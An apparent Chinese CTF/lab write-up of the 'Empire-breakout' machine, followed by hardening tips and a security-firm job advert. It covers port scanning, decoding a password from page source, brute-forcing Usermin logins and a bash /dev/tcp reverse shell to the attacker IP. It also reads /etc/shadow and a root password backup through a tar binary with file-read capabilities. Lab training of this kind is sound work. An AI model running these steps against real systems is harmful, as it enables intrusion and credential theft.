一、准备工作
- 启动VPN:
获取攻击机IP → `192.168.45.157`。
- 启动靶机:
获取目标机器IP → `192.168.232.238`。
|
二、信息收集-端口扫描
01、目标开放端口收集
(用不同方式扫描)
- Tcp端口扫描:
┌──(root㉿Kali)-[~]
└─# sudo nmap --min-rate 10000 -p- 192.168.232.238
PORT STATE SERVICE
80/tcp open http
10000/tcp open snet-sensor-mgmt
20000/tcp open dnp
*左右滑动查看更多
- UDP端口扫描:
┌──(root㉿Kali)-[~]
└─# sudo nmap -sU --min-rate 10000 -p- 192.168.232.238
PORT STATE SERVICE
10000/udp open ndmp
20000/udp open dnp
*左右滑动查看更多
通过两次收集到的端口(问了一下`chatgpt`,因为有的端口不熟悉):
80 http
10000 这个服务通常与安全网络监控相关
20000 "dnp"服务 远程控制和监控的协议
02、目标端口对应服务探测
# tcp探测
┌──(root㉿Kali)-[~]
└─# sudo nmap -sT -sV -O -sC -p80,10000,20000 192.168.232.238
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.51 (Debian)
10000/tcp open http MiniServ 1.981 (Webmin httpd)
|_http-server-header: MiniServ/1.981
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: 200 — Document follows
20000/tcp open http MiniServ 1.830 (Webmin httpd)
|_http-server-header: MiniServ/1.830
|_http-title: 200 — Document follows
|_http-trane-info: Problem with XML parsing of /evox/about
*左右滑动查看更多
三、信息收集-端口测试
根据探测的端口进行进一步的测试。
01、80-HTTP端口的信息收集
访问 http://192.168.232.238:80 是初始页,考虑收集敏感信息。
信息收集-源码查看
curl http://192.168.232.238:80
发现了一串加密信息,提示是这是密钥:
don't worry no one will get here, it's safe to share with you my access. Its encrypted
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
-->
CHATGPT辅助解密
上文的文本看起来像是一段使用Brainfuck编程语言编写的代码。Brainfuck是一种极简的编程语言,仅有八个命令符号,分别是:“>”, “<”, “+”, “-”, “.”, “,”, “[”, 和 "]”。
网上搜了一下解密软件解密结果:`.2uqPEfj3D<P'a-3`。
https://www.splitbrain.org/services/ook
*左右滑动查看更多
访问 `http://192.168.232.238:10000`要求`https`。
是一个`Webmin`。
信息收集-指纹识别
whatweb http://192.168.232.238:10000
*左右滑动查看更多
访问 `http://192.168.232.238:20000`要求`https`。
信息收集-指纹识别
whatweb http://192.168.232.238:20000
*左右滑动查看更多
信息收集-目录扫描
信息收集-利用目录扫描工具扫描80、10000、20000端口
dirsearch -u http://192.168.232.238:80 -x 302,403
*左右滑动查看更多
扫描10000、20000端口时无收获:
因为扫出了目录,深层次的扫描待选:
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录探测
/manual 端点
该端点是默认端点,无收获。先去访问其他端口,如果没收获回来上大字典。
02、 思考复盘
在80端口、10000端口、20000端口访问以及基础目录扫描之后,得到的只有一个密码。
尝试在10000端口、20000端口登录处进行用户名爆破,之后考虑上更大的字典。
四、漏洞利用-getwebshell
通过前文解密后内容进行后台爆破
获得了一个`.2uqPEfj3D<P'a-3` 利用burp辅助进行爆破。
字典选择`kali`中的通用字典 `/usr/share/wordlists/rockyou.txt`。
在经历了漫长的爆破之后 `...` 通过爆破查看确定可以进入的用户名 `cyber`。
成功进入了20000端口的`usermin`。
`cyber:.2uqPEfj3D<P'a-3`
后台getwebshell
进入后台之后发现了一个图片戳了进去发现直接获得了`shell`。因为很像win里面的:
五、内网遨游-getshell
01、交互shell
利用web服务中自带执行命令功能进行反弹,反弹到本地方便操作:
# 本地开启监听
sudo nc -lvnp 4555
# 利用linux自带的bash进行反弹
bash -i >& /dev/tcp/192.168.45.157/4555 0>&1
*左右滑动查看更多
02、 FLAG1获取
cyber@breakout:~$ find / -name local.txt 2>/dev/null
find / -name local.txt 2>/dev/null
/home/cyber/local.txt
cyber@breakout:~$ cat /home/cyber/local.txt
cat /home/cyber/local.txt
211e69da4854130483f832a9364c08b2
*左右滑动查看更多
03、提权基础(内网信息收集)
提权的本质在于枚举。
检测Linux操作系统的发行版本
# 确定发行版本
lsb_release -a
`Debian`发行版不太能`overlayfs`提权。
检测Linux操作系统的内核版本
cat /proc/version
uname -a
内核版本 `5.10.0`。
sudo收集
查找具有`sudo`权限,且不需要密码的可提权文件:
# 利用sudo -l寻找
sudo -l
suid权限收集
搜索`suid`文件权限:
# -perm 文件权限
find / -perm -u=s -type f 2>/dev/null
*左右滑动查看更多
getcap标志进程收集
# 探查有CAP_SETUID标志的进程
cyber@breakout:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/sbin/getcap -r / 2>/dev/null
/home/cyber/tar cap_dac_read_search=ep
/usr/bin/ping cap_net_raw=ep
*左右滑动查看更多
04、权限提升
发现:
`/home/cyber/tar cap_dac_read_search=ep`
*左右滑动查看更多
如果发现有东西的话,访问网址 https://gtfobins.github.io 寻找。
|
分析了一下,上面应该是系统的`tar`,而我这个是个人的`tar`
查看确定有执行和读取权限 结合`cap_dac_read_search` 运行可以利用`root`权限压缩,在利用系统自身的`tar`解压获取文件权限。
通常可以用于操作查看敏感文件或者敏感压缩包。大概率在`home`、`etc`和`var`中,首先翻阅`/home`下。
接下来到处逛逛找找有没有泄露的信息 (痛苦的枚举过程)。
tar命令正好可以压缩和解压文件,因此使用tar用root压缩在普通解压查看内容。
首先翻阅了一下`/etc/shadow`:
打包文件
./tar -cvf passwd.gz /etc/shadow
ls
local.txt passwd.gz tar
解压文件
tar -xvf passwd.gz
查看shadow文件
cat ./etc/passwd
emmmm,尝试爆破了很久不太行。
在翻阅`var`时发现了一个有趣的文件夹`backups`:
/var/backups$ ls -al
发现了一个隐藏文件,并且没有可读权限。
$ ./tar -cvf passwd.tar /var/backups/.old_pass.bak
/var/backups/.old_pass.bak
$ ls
local.txt passwd.tar tar
$ tar -xvf passwd.tar
var/backups/.old_pass.bak
$ cat var/backups/.old_pass.bak
cat var/backups/.old_pass.bak
Ts&4&YurgtRX(=~h
*左右滑动查看更多
理论上是`root`的密码,尝试`su`。
提权成功:
05、FLAG2获取
cat /root/proof.txt
8832cf60ce0cd05c9b45f8e23e5eac05
完结撒花~
六、总结及加固建议
思路总结:
getwebshell → 源码信息泄露 → 解密获取密码 → 登录界面登录进入后台 → 发现`shell`。
提 权 思 路 → 发现`getcap`标志的`tar` → 寻找泄露文件(烦) → 利用`./tar`与`tar`差异获取文件的`r`权 → 泄露得到`root`密码 → `su`提权。
加固建议:
1、敏感信息写在源码内导致突破后台,因此去敏是非常重要的事情。
2、`Linux`系统中存在`cap_dac_read_search`权限的`tar`,配置不当,不合理的使用使得`root`密码信息泄露,因此要合理配置文件权限。
插播一条招聘信息
一、安全研究工程师实习生(25/26届)
工作地点:深圳
岗位职责:
1、具有较强的责任感、具备能够独立的开展工作的能力、自学能力强、做事踏实认真;
2、对防御对抗、反溯源、攻击利用等相关红队工具进行研究和开发;
3、熟悉OWASP TOP 10,具有网络安全、系统安全、Web安全等方面的理论基础;
4、熟悉常见编程语言中的一种(Java、Python、PHP、GO),并能够熟练写出针对性的测试脚本;
5、参与区域内网渗透测试、代码审计、红蓝对抗活动、最新漏洞动态跟踪及复现、风险评估、客户培训等工作;
6、主要参与新服务、新技术创新服务的研究;
7、根据ATT&CK框架梳理研究相关TPPs,并形成对应的检测规则。
加分项:
1、具有渗透测试经验或逆向分析能力或溯源分析能力,曾经参与过大型的红蓝对抗项目;
2、熟悉Java、Python、PHP、GO等编程,并有良好的编程习惯和丰富的代码经验;
3、具备钻研精神,愿意在安全领域做出技术突破;
4、具有较强的责任感、具备能够独立的开展工作的能力、自学能力强、做事踏实认真;
二、代码审计工程师实习生(25/26届)
工作地点:深圳
岗位职责:
1、跟踪和分析业界最新安全漏洞。
2、挖掘Java、PHP程序中未知的安全漏洞和代码缺陷,并对漏洞进行验证,编制安全加固报告;
3、主要参与新服务、新技术创新服务的研究;
任职要求:
1、对JAVA/PHP编程有较深入的了解,具备较强的Java/PHP代码审计能力,有丰富实战能力;
2、熟悉JAVA/PHP主流框架,具备有一定的编程能力;
3、深入理解常见安全漏洞产生原理及防范方法;
4、熟练掌握源代码测试工具及测试流程,有CNVD、CNNVD等漏洞证书、CVE或CTF比赛获奖者者优先。
5、熟悉主流的源代码审计工具;
6、思路清晰,具有优秀的分析、解决问题的能力,有良好的学习能力及团队协作能力;
7、具备较强的沟通能力、抗压能力,团队合作精神及钻研精神。
简历投递可扫描本文末二维码添加小编微信,或直接发送至邮箱[email protected]
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| OSCP系列靶场-Esay-Empire-breakout
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论